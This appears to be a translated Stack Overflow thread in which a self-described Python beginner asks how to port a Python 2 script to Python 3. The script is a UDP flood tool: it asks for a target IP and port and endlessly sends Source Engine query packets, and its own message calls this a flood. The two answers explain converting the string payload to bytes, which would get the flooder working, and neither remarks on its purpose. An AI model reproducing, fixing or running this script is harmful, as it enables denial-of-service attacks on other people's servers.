TypeError:'str'不支持缓冲接口4

时间:2012-12-04 12:56:15

标签: python python-3.x buffer

这是用Python 2.x编写的代码,我想让它在Python 3.x中运行。

这条线在Python 3.x中的作用是什么?

while True:
    sock.sendto(bytes,(ip,port))

注意:我今天之前从未使用过Python,所以如果这对你来说是一个愚蠢的问题,请不要开枪。


以下是整个代码,在Python 3中应该是什么样的?

import socket, sys

sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
bytes = '\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65\x20\x51\x75\x65\x72\x00'

ip = input("Target IP: ")
port = input("Target Port: ")

print ("Exit the program to stop the flood")

while True:
    sock.sendto(bytes,(ip,port))

2 个答案:

答案 0 :(得分:2)

Python 3中的代码完全相同。

区别在于str类型表示Python 3中的Unicode字符串。str是Python 2中的字节字符串。

bytes转换为bytes,例如s.encode(encoding)。同时重命名bytes以避免与内置名称bytes混淆。

答案 1 :(得分:1)

最有可能bytes是一个str,这意味着它是一个字符集合。通过网络,您不能发送字符,只能发送字节。可以通过多种方式将字符编码为字节流。你很可能想要使用utf-8。您可以使用the_string.encode ('utf-8')将str编码为字节对象。这个字节对象可以通过网络发送。